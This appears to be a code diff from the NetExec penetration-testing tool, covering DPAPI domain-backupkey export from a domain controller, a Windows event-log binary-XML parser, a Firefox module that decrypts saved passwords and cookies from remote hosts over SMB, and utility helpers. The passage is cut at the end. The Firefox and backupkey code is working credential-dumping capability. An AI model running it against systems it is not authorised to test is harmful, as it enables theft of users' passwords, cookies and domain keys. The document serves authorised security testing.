|
||||
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@property
|
||||
def pvkbytes(self):
|
||||
"""
|
||||
The pvkbytes. If not already initialized, tries to set it
|
||||
The precedence order is the following :
|
||||
- Check the pvk argument
|
||||
- Checks in the DB
|
||||
- Get it from a domain controller
|
||||
"""
|
||||
# pvkbytes already loaded and in cache ? Serve it
|
||||
if self._pvkbytes is not None:
|
||||
return self._pvkbytes
|
||||
|
||||
pvkbytes = None
|
||||
|
||||
# First check the pvk argument and handle it
|
||||
if self.connection.args.pvk is not None:
|
||||
try:
|
||||
with open(self.connection.args.pvk, "rb") as fd:
|
||||
pvkbytes = fd.read()
|
||||
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# If no pvkbytes yet, then we check in the DB
|
||||
if pvkbytes is None:
|
||||
try:
|
||||
results = self.connection.db.get_domain_backupkey(self.connection.domain)
|
||||
except Exception:
|
||||
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||
return False
|
||||
if len(results) > 0:
|
||||
self.connection.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
|
||||
# If no pvkbytes yet, then we can try to get it from a domain controller
|
||||
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
|
||||
try:
|
||||
dc_target = SMBTarget.create(
|
||||
domain=self.connection.domain,
|
||||
username=self.connection.username,
|
||||
password=self.connection.password,
|
||||
address=self.connection.kdcHost, # querying DNS server for domain will return DC
|
||||
lmhash=self.connection.lmhash,
|
||||
nthash=self.connection.nthash,
|
||||
do_kerberos=self.connection.kerberos,
|
||||
aesKey=self.connection.aesKey,
|
||||
use_kcache=self.connection.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
|
||||
else:
|
||||
self.connection.no_da = False
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self._pvkbytes = pvkbytes
|
||||
return self._pvkbytes
|
||||
@@ -0,0 +1,214 @@
|
||||
# SPDX-License-Identifier: GPL-2.0+
|
||||
|
||||
import struct
|
||||
import uuid
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class Substitution:
|
||||
def __init__(self, buf, offset):
|
||||
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
|
||||
self.length = 4
|
||||
|
||||
self._id = sub_id
|
||||
self._type = sub_type
|
||||
self._optional = sub_token == 0x0e
|
||||
|
||||
def xml(self, template=None):
|
||||
value = template.values[self._id]
|
||||
if value.type == 0x0:
|
||||
return None if self._optional else ""
|
||||
if self._type == 0x1:
|
||||
return value.data.decode("utf16")
|
||||
elif self._type == 0x4:
|
||||
return str(struct.unpack("<B", value.data)[0])
|
||||
elif self._type == 0x6:
|
||||
return str(struct.unpack("<H", value.data)[0])
|
||||
elif self._type == 0x8:
|
||||
return str(struct.unpack("<I", value.data)[0])
|
||||
elif self._type == 0xa:
|
||||
return str(struct.unpack("<Q", value.data)[0])
|
||||
elif self._type == 0x11:
|
||||
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
|
||||
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
|
||||
elif self._type == 0x13:
|
||||
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
|
||||
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
|
||||
iav = struct.unpack_from(">Q", value.data, 2)[0]
|
||||
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
|
||||
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
|
||||
elif self._type == 0x15 or self._type == 0x10:
|
||||
return value.data.hex()
|
||||
elif self._type == 0x21:
|
||||
return value.template.xml()
|
||||
elif self._type == 0xf:
|
||||
return str(uuid.UUID(bytes_le=value.data))
|
||||
else:
|
||||
nxc_logger.display(f"Unknown value type {hex(value.type)}")
|
||||
|
||||
|
||||
class Value:
|
||||
def __init__(self, buf, offset):
|
||||
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
|
||||
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
|
||||
|
||||
self.length = 4 + length * 2
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._val
|
||||
|
||||
|
||||
class Attribute:
|
||||
def __init__(self, buf, offset):
|
||||
struct.unpack_from("<B", buf, offset)
|
||||
self._name = Name(buf, offset + 1)
|
||||
|
||||
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
|
||||
if next_token[0] == 0x05 or next_token == 0x45:
|
||||
self._value = Value(buf, offset + 1 + self._name.length)
|
||||
elif next_token[0] == 0x0e:
|
||||
self._value = Substitution(buf, offset + 1 + self._name.length)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
|
||||
|
||||
self.length = 1 + self._name.length + self._value.length
|
||||
|
||||
def xml(self, template=None):
|
||||
val = self._value.xml(template)
|
||||
return None if val is None else f'{self._name.val}="{val}"'
|
||||
|
||||
|
||||
class Name:
|
||||
def __init__(self, buf, offset):
|
||||
hashs, length = struct.unpack_from("<HH", buf, offset)
|
||||
|
||||
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
|
||||
self.length = 4 + (length + 1) * 2
|
||||
|
||||
|
||||
class Element:
|
||||
def __init__(self, buf, offset):
|
||||
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
|
||||
|
||||
self._name = Name(buf, offset + 7)
|
||||
self._dependency = dependency_id
|
||||
|
||||
ofs = offset + 7 + self._name.length
|
||||
if token == 0x41:
|
||||
struct.unpack_from("<I", buf, ofs)
|
||||
ofs += 4
|
||||
|
||||
self._children = []
|
||||
self._attributes = []
|
||||
|
||||
while True:
|
||||
next_token = buf[ofs]
|
||||
if next_token == 0x06 or next_token == 0x46:
|
||||
attr = Attribute(buf, ofs)
|
||||
self._attributes.append(attr)
|
||||
ofs += attr.length
|
||||
elif next_token == 0x02:
|
||||
self._empty = False
|
||||
ofs += 1
|
||||
while True:
|
||||
next_token = buf[ofs]
|
||||
if next_token == 0x01 or next_token == 0x41:
|
||||
element = Element(buf, ofs)
|
||||
elif next_token == 0x04:
|
||||
ofs += 1
|
||||
break
|
||||
elif next_token == 0x05:
|
||||
element = Value(buf, ofs)
|
||||
elif next_token == 0x0e or next_token == 0x0d:
|
||||
element = Substitution(buf, ofs)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
|
||||
break
|
||||
|
||||
self._children.append(element)
|
||||
ofs += element.length
|
||||
|
||||
break
|
||||
elif next_token == 0x03:
|
||||
self._empty = True
|
||||
ofs += 1
|
||||
break
|
||||
else:
|
||||
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
|
||||
break
|
||||
|
||||
self.length = ofs - offset
|
||||
|
||||
def xml(self, template=None):
|
||||
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
|
||||
return ""
|
||||
|
||||
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
|
||||
|
||||
attrs = " ".join(attrs)
|
||||
if len(attrs) > 0:
|
||||
attrs = " " + attrs
|
||||
|
||||
if self._empty:
|
||||
return f"<{self._name.val}{attrs}/>"
|
||||
else:
|
||||
children = (x.xml(template) for x in self._children)
|
||||
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
|
||||
|
||||
|
||||
class ValueSpec:
|
||||
def __init__(self, buf, offset, value_offset):
|
||||
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
|
||||
self.data = buf[value_offset:value_offset + self.length]
|
||||
|
||||
if self.type == 0x21:
|
||||
self.template = BinXML(buf, value_offset)
|
||||
|
||||
|
||||
class TemplateInstance:
|
||||
def __init__(self, buf, offset):
|
||||
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
|
||||
if next_token == 0x0F:
|
||||
self._xml = BinXML(buf, offset + 0x16)
|
||||
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
|
||||
values_length = 0
|
||||
self.values = []
|
||||
for x in range(num_values):
|
||||
value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
|
||||
self.values.append(value)
|
||||
values_length += value.length
|
||||
|
||||
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
|
||||
else:
|
||||
nxc_logger.display(f"Unknown template token {hex(next_token)}")
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._xml.xml(self)
|
||||
|
||||
|
||||
class BinXML:
|
||||
def __init__(self, buf, offset):
|
||||
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
|
||||
|
||||
if next_token == 0x0C:
|
||||
self._element = TemplateInstance(buf, offset + 4)
|
||||
elif next_token == 0x01 or next_token == 0x41:
|
||||
self._element = Element(buf, offset + 4)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
|
||||
|
||||
self.length = 4 + self._element.length
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._element.xml(template)
|
||||
|
||||
|
||||
class ResultSet:
|
||||
def __init__(self, buf):
|
||||
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
|
||||
self._xml = BinXML(buf, 0x14)
|
||||
|
||||
def xml(self):
|
||||
return self._xml.xml()
|
||||
@@ -1,6 +1,6 @@
|
||||
from base64 import b64decode
|
||||
from binascii import unhexlify
|
||||
from hashlib import pbkdf2_hmac, sha1
|
||||
from hashlib import pbkdf2_hmac, sha1, sha256
|
||||
import hmac
|
||||
import json
|
||||
import ntpath
|
||||
@@ -11,19 +11,23 @@ from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
from pyasn1.codec.der import decoder
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.network import DPLootConnection
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
CKA_ID = unhexlify("f8000000000000000000000000000001")
|
||||
|
||||
# Constants for different encryption modes
|
||||
CBC_IV_LENGTH = 16 # AES-256-CBC uses 16-byte IV (Firefox 144+)
|
||||
DES_IV_LENGTH = 8 # 3DES-CBC uses 8-byte IV (legacy)
|
||||
|
||||
|
||||
@dataclass
|
||||
class FirefoxData:
|
||||
def __init__(self, winuser: str, url: str, username: str, password: str):
|
||||
self.winuser = winuser
|
||||
self.url = url
|
||||
self.username = username
|
||||
self.password = password
|
||||
winuser: str
|
||||
url: str
|
||||
username: str
|
||||
password: str
|
||||
|
||||
|
||||
@dataclass
|
||||
class FirefoxCookie:
|
||||
@@ -36,6 +40,7 @@ class FirefoxCookie:
|
||||
expires_utc: str
|
||||
last_access_utc: str
|
||||
|
||||
|
||||
class FirefoxTriage:
|
||||
"""
|
||||
Firefox by @zblurx
|
||||
@@ -55,7 +60,7 @@ class FirefoxTriage:
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
|
||||
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
|
||||
self.target = target
|
||||
self.logger = logger
|
||||
self.conn = conn
|
||||
@@ -63,16 +68,13 @@ class FirefoxTriage:
|
||||
self.per_secret_callback = per_secret_callback
|
||||
|
||||
def run(self, gather_cookies=False):
|
||||
if self.conn is None:
|
||||
upgrade_to_dploot_connection(target=self.target)
|
||||
|
||||
firefox_data = []
|
||||
firefox_cookies = []
|
||||
# list users
|
||||
users = self.get_users()
|
||||
users = self.conn.list_users()
|
||||
for user in users:
|
||||
try:
|
||||
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
continue
|
||||
@@ -83,38 +85,53 @@ class FirefoxTriage:
|
||||
try:
|
||||
if gather_cookies:
|
||||
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
|
||||
cookies_data = self.conn.readFile(self.share, cookies_path)
|
||||
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
|
||||
if cookies_data is not None:
|
||||
firefox_cookies += self.parse_cookie_data(user, cookies_data)
|
||||
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
|
||||
logins_data = self.conn.readFile(self.share, logins_path)
|
||||
logins_data = self.conn.read_file(path=logins_path, share=self.share)
|
||||
if logins_data is None:
|
||||
continue # No logins.json file found
|
||||
logins = self.get_login_data(logins_data=logins_data)
|
||||
if len(logins) == 0:
|
||||
continue # No logins profile found
|
||||
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
|
||||
key4_data = self.conn.readFile(self.share, key4_path)
|
||||
key4_data = self.conn.read_file(path=key4_path, share=self.share)
|
||||
if key4_data is None:
|
||||
continue
|
||||
key = self.get_key(key4_data=key4_data)
|
||||
if key is None and self.target.password != "":
|
||||
key = self.get_key(
|
||||
# Get all available master keys (Firefox 144+ may have multiple keys)
|
||||
keys = self.get_all_keys(key4_data=key4_data)
|
||||
if len(keys) == 0 and self.target.password != "":
|
||||
keys = self.get_all_keys(
|
||||
key4_data=key4_data,
|
||||
master_password=self.target.password.encode(),
|
||||
)
|
||||
if key is None:
|
||||
if len(keys) == 0:
|
||||
continue
|
||||
|
||||
for username, pwd, host in logins:
|
||||
decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
|
||||
password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
|
||||
decoded_username = None
|
||||
password = None
|
||||
|
||||
for key in keys:
|
||||
try:
|
||||
decrypted_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2])
|
||||
decoded_username = decrypted_username.decode("utf-8")
|
||||
|
||||
decrypted_password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2])
|
||||
password = decrypted_password.decode("utf-8")
|
||||
|
||||
break # Success - stop trying other keys
|
||||
except (UnicodeDecodeError, Exception):
|
||||
continue
|
||||
|
||||
if password is not None and decoded_username is not None:
|
||||
data = FirefoxData(
|
||||
winuser=user,
|
||||
url=host,
|
||||
username=decoded_username,
|
||||
password=password,
|
||||
)
|
||||
winuser=user,
|
||||
url=host,
|
||||
username=decoded_username,
|
||||
password=password,
|
||||
)
|
||||
if self.per_secret_callback is not None:
|
||||
self.per_secret_callback(data)
|
||||
firefox_data.append(data)
|
||||
@@ -126,7 +143,7 @@ class FirefoxTriage:
|
||||
|
||||
def parse_cookie_data(self, windows_user, cookies_data):
|
||||
cookies = []
|
||||
fh = tempfile.NamedTemporaryFile(delete=False)
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
|
||||
fh.write(cookies_data)
|
||||
fh.seek(0)
|
||||
db = sqlite3.connect(fh.name)
|
||||
@@ -134,15 +151,15 @@ class FirefoxTriage:
|
||||
cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;")
|
||||
for name, value, host, path, expiry, lastAccessed, creationTime in cursor:
|
||||
cookie = FirefoxCookie(
|
||||
winuser=windows_user,
|
||||
host=host,
|
||||
path=path,
|
||||
cookie_name=name,
|
||||
cookie_value=value,
|
||||
creation_utc=creationTime,
|
||||
last_access_utc=lastAccessed,
|
||||
expires_utc=expiry,
|
||||
)
|
||||
winuser=windows_user,
|
||||
host=host,
|
||||
path=path,
|
||||
cookie_name=name,
|
||||
cookie_value=value,
|
||||
creation_utc=creationTime,
|
||||
last_access_utc=lastAccessed,
|
||||
expires_utc=expiry,
|
||||
)
|
||||
if self.per_secret_callback is not None:
|
||||
self.per_secret_callback(cookie)
|
||||
cookies.append(cookie)
|
||||
@@ -162,43 +179,60 @@ class FirefoxTriage:
|
||||
]
|
||||
|
||||
def get_key(self, key4_data, master_password=b""):
|
||||
"""Legacy method - retrieves first available key"""
|
||||
keys = self.get_all_keys(key4_data, master_password)
|
||||
return keys[0] if keys else None
|
||||
|
||||
def get_all_keys(self, key4_data, master_password=b""):
|
||||
"""Retrieve all available master keys from NSS database (Firefox 144+ may have multiple)"""
|
||||
# Instead of disabling "delete" and removing the file manually,
|
||||
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
|
||||
# Related issue: #134
|
||||
fh = tempfile.NamedTemporaryFile(delete=False)
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
|
||||
fh.write(key4_data)
|
||||
fh.seek(0)
|
||||
db = sqlite3.connect(fh.name)
|
||||
cursor = db.cursor()
|
||||
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
|
||||
row = next(cursor)
|
||||
|
||||
if row:
|
||||
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
|
||||
if global_salt:
|
||||
try:
|
||||
cursor.execute("SELECT a11,a102 FROM nssPrivate;")
|
||||
for row in cursor:
|
||||
if row[0]:
|
||||
break
|
||||
a11 = row[0]
|
||||
a102 = row[1]
|
||||
if a102 == CKA_ID:
|
||||
decoded_a11 = decoder.decode(a11)
|
||||
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
|
||||
if key is not None:
|
||||
fh.close()
|
||||
return key[:24]
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
fh.close()
|
||||
return b""
|
||||
db.close()
|
||||
fh.close()
|
||||
try:
|
||||
remove(fh.name)
|
||||
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
|
||||
row = next(cursor)
|
||||
|
||||
if not row:
|
||||
return []
|
||||
|
||||
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
|
||||
if not global_salt:
|
||||
return []
|
||||
|
||||
# Get ALL keys from nssPrivate table (Firefox 144+ may have multiple)
|
||||
keys = []
|
||||
cursor.execute("SELECT a11,a102 FROM nssPrivate WHERE a11 IS NOT NULL;")
|
||||
|
||||
for row in cursor:
|
||||
try:
|
||||
a11 = row[0]
|
||||
a102 = row[1] # ruff: ignore[unused-variable]
|
||||
|
||||
decoded_a11 = decoder.decode(a11)
|
||||
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
|
||||
|
||||
if key is not None and len(key) >= 24:
|
||||
keys.append(key)
|
||||
except Exception:
|
||||
continue
|
||||
return keys
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error removing temporary file: {e}")
|
||||
self.logger.debug(f"Error extracting keys: {e}")
|
||||
return []
|
||||
finally:
|
||||
db.close()
|
||||
fh.close()
|
||||
try:
|
||||
remove(fh.name)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error removing temporary file: {e}")
|
||||
|
||||
def is_master_password_correct(self, key_data, master_password=b""):
|
||||
try:
|
||||
@@ -214,17 +248,6 @@ class FirefoxTriage:
|
||||
self.logger.debug(e)
|
||||
return "", "", ""
|
||||
|
||||
def get_users(self):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
@staticmethod
|
||||
def decode_login_data(data):
|
||||
asn1data = decoder.decode(b64decode(data))
|
||||
@@ -236,10 +259,50 @@ class FirefoxTriage:
|
||||
|
||||
@staticmethod
|
||||
def decrypt(key, iv, ciphertext):
|
||||
"""Decrypt ciphered data (user / password) using the key previously found"""
|
||||
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
|
||||
"""
|
||||
Decrypt ciphered data (user / password) using the key previously found.
|
||||
Supports both old format (3DES-CBC) and new Firefox 144+ format (AES-256-CBC).
|
||||
"""
|
||||
# Determine encryption method based on IV length
|
||||
iv_length = len(iv)
|
||||
|
||||
# Firefox 144+ uses AES-256-CBC with 16-byte IV
|
||||
if iv_length == CBC_IV_LENGTH:
|
||||
return FirefoxTriage.decrypt_aes256_cbc(key, iv, ciphertext)
|
||||
# Older Firefox uses 3DES-CBC with 8-byte IV
|
||||
else:
|
||||
return FirefoxTriage.decrypt_3des_cbc(key, iv, ciphertext)
|
||||
|
||||
@staticmethod
|
||||
def decrypt_aes256_cbc(key, iv, ciphertext):
|
||||
"""Decrypt using AES-256-CBC (Firefox 144+)"""
|
||||
# Expand key to 32 bytes using SHA-256 if needed
|
||||
aes_key = key[:32] if len(key) >= 32 else sha256(key).digest()
|
||||
|
||||
cipher = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=iv)
|
||||
data = cipher.decrypt(ciphertext)
|
||||
|
||||
# Remove PKCS7 padding
|
||||
if len(data) > 0:
|
||||
padding_length = data[-1]
|
||||
if isinstance(padding_length, str):
|
||||
padding_length = ord(padding_length)
|
||||
try:
|
||||
if padding_length > 0 and padding_length <= 16:
|
||||
return data[:-padding_length]
|
||||
except Exception:
|
||||
pass
|
||||
return data
|
||||
|
||||
@staticmethod
|
||||
def decrypt_3des_cbc(key, iv, ciphertext):
|
||||
"""Decrypt using 3DES-CBC (legacy Firefox)"""
|
||||
# 3DES requires exactly 24-byte keys - truncate if longer
|
||||
cipher = DES3.new(key=key[:24], mode=DES3.MODE_CBC, iv=iv)
|
||||
data = cipher.decrypt(ciphertext)
|
||||
nb = data[-1]
|
||||
if isinstance(nb, str):
|
||||
nb = ord(nb)
|
||||
try:
|
||||
return data[:-nb]
|
||||
except Exception:
|
||||
@@ -1,9 +1,10 @@
|
||||
import os
|
||||
from termcolor import colored
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
def write_log(data, log_name):
|
||||
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
|
||||
logs_dir = os.path.join(NXC_PATH, "logs")
|
||||
with open(os.path.join(logs_dir, log_name), "w") as log_output:
|
||||
log_output.write(data)
|
||||
|
||||
|
||||
+179
-2
@@ -1,8 +1,13 @@
|
||||
from enum import Enum
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
from termcolor import colored
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
from time import strftime, gmtime
|
||||
|
||||
|
||||
def identify_target_file(target_file):
|
||||
@@ -22,7 +27,7 @@ def gen_random_string(length=10):
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
||||
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
|
||||
return bool(allowed.match(data))
|
||||
|
||||
|
||||
@@ -40,7 +45,7 @@ def called_from_cmd_args():
|
||||
# Stolen from https://github.com/pydanny/whichcraft/
|
||||
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
"""Find the path which conforms to the given mode on the PATH for a command.
|
||||
|
||||
|
||||
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
|
||||
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
|
||||
Note: This function was backported from the Python 3 source code.
|
||||
@@ -77,3 +82,175 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
name = os.path.join(p, thefile)
|
||||
if _access_check(name, mode):
|
||||
return name
|
||||
|
||||
|
||||
def get_bloodhound_info():
|
||||
"""
|
||||
Detect which BloodHound package is installed (regular or CE) and its version.
|
||||
|
||||
Returns
|
||||
-------
|
||||
tuple: (package_name, version, is_ce)
|
||||
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
|
||||
- version: Version string of the installed package (or None if not installed)
|
||||
- is_ce: Boolean indicating if it's the Community Edition
|
||||
"""
|
||||
import importlib.metadata
|
||||
import importlib.util
|
||||
|
||||
# First check if any BloodHound package is available to import
|
||||
if importlib.util.find_spec("bloodhound") is None:
|
||||
return None, None, False
|
||||
|
||||
# Try to get version info from both possible packages
|
||||
version = None
|
||||
package_name = None
|
||||
is_ce = False
|
||||
|
||||
# Check for bloodhound-ce first
|
||||
try:
|
||||
version = importlib.metadata.version("bloodhound-ce")
|
||||
package_name = "bloodhound-ce"
|
||||
is_ce = True
|
||||
except importlib.metadata.PackageNotFoundError:
|
||||
# Check for regular bloodhound
|
||||
try:
|
||||
version = importlib.metadata.version("bloodhound")
|
||||
package_name = "bloodhound"
|
||||
|
||||
# Even when installed as 'bloodhound', check if it's actually the CE version
|
||||
if version and ("ce" in version.lower() or "community" in version.lower()):
|
||||
is_ce = True
|
||||
except importlib.metadata.PackageNotFoundError:
|
||||
# No bloodhound package found via metadata
|
||||
pass
|
||||
|
||||
# In case we can import it but metadata is not working, check the module itself
|
||||
if not version:
|
||||
try:
|
||||
import bloodhound
|
||||
version = getattr(bloodhound, "__version__", "unknown")
|
||||
package_name = "bloodhound"
|
||||
|
||||
# Check if it's CE based on version string
|
||||
if "ce" in version.lower() or "community" in version.lower():
|
||||
is_ce = True
|
||||
package_name = "bloodhound-ce"
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
return package_name, version, is_ce
|
||||
|
||||
|
||||
def detect_if_ip(target):
|
||||
try:
|
||||
ip_address(target)
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def d2b(a):
|
||||
"""
|
||||
Function used to convert password property flags from decimal to binary
|
||||
format for easier interpretation of individual flag bits.
|
||||
"""
|
||||
tbin = []
|
||||
while a:
|
||||
tbin.append(a % 2)
|
||||
a //= 2
|
||||
|
||||
t2bin = tbin[::-1]
|
||||
if len(t2bin) != 8:
|
||||
for _x in range(6 - len(t2bin)):
|
||||
t2bin.insert(0, 0)
|
||||
return "".join([str(g) for g in t2bin])
|
||||
|
||||
|
||||
def convert(low, high, lockout=False):
|
||||
"""
|
||||
Convert Windows FILETIME (64-bit) values to human-readable time strings.
|
||||
|
||||
Windows stores time intervals as 64-bit values representing 100-nanosecond
|
||||
intervals since January 1, 1601. This function converts these values to
|
||||
readable format like "30 days 5 hours 15 minutes".
|
||||
|
||||
Args:
|
||||
low (int): Low 32 bits of the FILETIME value
|
||||
high (int): High 32 bits of the FILETIME value
|
||||
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
|
||||
|
||||
Returns:
|
||||
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
|
||||
special values like "Not Set", "None", or "[-] Invalid TIME"
|
||||
"""
|
||||
time = ""
|
||||
tmp = 0
|
||||
|
||||
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
|
||||
return "Not Set"
|
||||
if low == 0 and high == 0:
|
||||
return "None"
|
||||
|
||||
if not lockout:
|
||||
if low != 0:
|
||||
high = abs(high + 1)
|
||||
else:
|
||||
high = abs(high)
|
||||
low = abs(low)
|
||||
|
||||
tmp = low + (high << 32) # convert to 64bit int
|
||||
tmp *= 1e-7 # convert to seconds
|
||||
else:
|
||||
tmp = abs(high) * (1e-7)
|
||||
|
||||
try:
|
||||
minutes = int(strftime("%M", gmtime(tmp)))
|
||||
hours = int(strftime("%H", gmtime(tmp)))
|
||||
days = int(strftime("%j", gmtime(tmp))) - 1
|
||||
except ValueError:
|
||||
return "[-] Invalid TIME"
|
||||
|
||||
if days > 1:
|
||||
time += f"{days} days "
|
||||
elif days == 1:
|
||||
time += f"{days} day "
|
||||
if hours > 1:
|
||||
time += f"{hours} hours "
|
||||
elif hours == 1:
|
||||
time += f"{hours} hour "
|
||||
if minutes > 1:
|
||||
time += f"{minutes} minutes "
|
||||
elif minutes == 1:
|
||||
time += f"{minutes} minute "
|
||||
return time
|
||||
|
||||
|
||||
def parse_argument(argument: list) -> list:
|
||||
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
|
||||
parsed_items = []
|
||||
for item in argument:
|
||||
if os.path.isfile(item):
|
||||
with open(item) as f:
|
||||
parsed_items.extend(line.strip() for line in f if line.strip())
|
||||
else:
|
||||
parsed_items.append(item.strip())
|
||||
return parsed_items
|
||||
|
||||
|
||||
def display_modules(args, modules):
|
||||
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
|
||||
# Add category filter for module listing
|
||||
if args.list_modules and args.list_modules.lower() != category.name.lower():
|
||||
continue
|
||||
if len([module for module in modules.values() if module["category"] == category]) > 0:
|
||||
